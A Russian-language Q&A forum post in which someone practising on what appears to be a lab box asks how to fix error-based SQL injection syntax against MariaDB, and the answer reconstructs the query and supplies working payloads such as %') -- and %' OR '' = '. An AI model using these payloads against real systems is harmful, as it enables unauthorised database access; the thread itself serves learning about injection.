Как узнать правильный синтаксис в SQLD инъекции на основе ошибок MariaDB? - PullRequest
0 голосов
/ 25 ноября 2018

Я пытаюсь вставить операторы SQL в ящик.У меня есть следующая точка впрыска:

example.com/?o=1&page=app

, когда я впрыскиваю 1 ', тогда я получаю следующее сообщение об ошибке:

DEBUG INFO: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '5' or dest like '1'') LIMIT 10' at line 1

Я пытался ввести следующее:

1' ORDER BY 1 --

Я все еще получаю сообщение об ошибке и не знаю, как закрыть оператор:

DEBUG INFO: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'ORDER BY 1 --') and ( dest like '5' or dest like '1' ORDER BY 1 --') LIMIT 10' at line 1

Что я делаю неправильно?Спасибо за ответы!

1 Ответ

0 голосов
/ 25 ноября 2018

Учитывая, что при попытке 1' запрос включал '1'', кажется, что исходный запрос выглядит примерно так:

... '5' or dest like '$o') LIMIT 10

например,

SELECT * FROM table WHERE (category = '5' or dest like '$o') LIMIT 10

Чтобы получить эточтобы быть правильным запросом, вам нужно закрыть скобки.

Например, %') --, что дает:

SELECT * FROM table WHERE (category = '5' or dest like '%') --') LIMIT 10

или %' OR '' = ', что дает:

SELECT * FROM table WHERE (category = '5' or dest like '%' OR '' = '') LIMIT 10
...